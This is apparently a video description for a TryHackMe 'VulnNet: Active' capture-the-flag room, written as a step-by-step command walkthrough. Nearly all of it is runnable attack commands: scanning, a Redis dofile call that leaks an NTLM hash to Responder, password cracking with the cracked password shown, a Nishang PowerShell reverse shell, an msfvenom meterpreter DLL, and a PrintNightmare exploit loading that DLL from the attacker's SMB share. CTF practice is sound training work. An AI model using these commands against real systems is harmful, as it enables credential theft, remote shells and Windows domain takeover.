TryHackMe - VulnNet: Active скачать в хорошем качестве

TryHackMe - VulnNet: Active

  / _kxisxr_   Nishang's shells: https://github.com/samratashok/nishan... PrintNightmare: https://github.com/cube0x0/CVE-2021-1675 Good Article about this vuln: https://www.sygnia.co/demystifying-th... Room: https://tryhackme.com/room/vulnnetactive Writeup: -- VULNNET: ACTIVE -- sudo nmap -sV -sC -T5 -A -vv -p1-10000 --open -Pn --min-rate 5000 10.10.32.14 redis-cli -h $ip -- Get username enterprise-security-- -- Try to enumerate smb: -- cme smb $ip -u 'enterprise-security' -p '' impacket-rpcdump @$ip | grep Print sudo responder -I tun1 -dwvr redis-cli -h $ip eval "dofile('//10.2.37.106/kxisxr')" 0 /kxisxr: can be anything -- Paste hash to hash.txt -- john --wordlist=/root/Desktop/rockyou.txt hash -- password: sand_0873959498 -- -- Enumerating the shares -- cme smb $ip -u 'enterprise-security' -p 'sand_0873959498' --shares smbclient \\\\10.10.209.195\\Enterprise-Share -U enterprise-security -- Search nishang PowerShellTcp.ps1 reverse -- Add at the end Invoke-PowerShellTcp -Reverse -IPAddress 10.2.37.106 -Port 1313 sudo rlwrap nc -nlvp 1313 -- search cube print nightmare -- -- Impacket implementation of PrintNightmare -- git clone https://github.com/cube0x0/impacket cd impacket python3 ./setup.py install Generate a malicious dll msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.2.37.106 LPORT=1414 -f dll -- shell.dll msf6 -- use multi/handler msf6 exploit(multi/handler) -- set payload windows/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) -- set lhost tun0 msf6 exploit(multi/handler) -- set lport 1337 msf6 exploit(multi/handler) -- run CVE-2021-1675.py, shell.dll and smbserver.py must be in the SAME DIRECTORY cp smbserver.py search grave accent, to escape the pwd directory. sudo smbserver.py share `pwd` -smb2support sudo python3 CVE-2021-1675.py VULNNET/enterprise-security:'sand_0873959498'@10.10.135.23 '\\10.2.37.106\share\shell.dll' #PrintNightmare #TryHackMe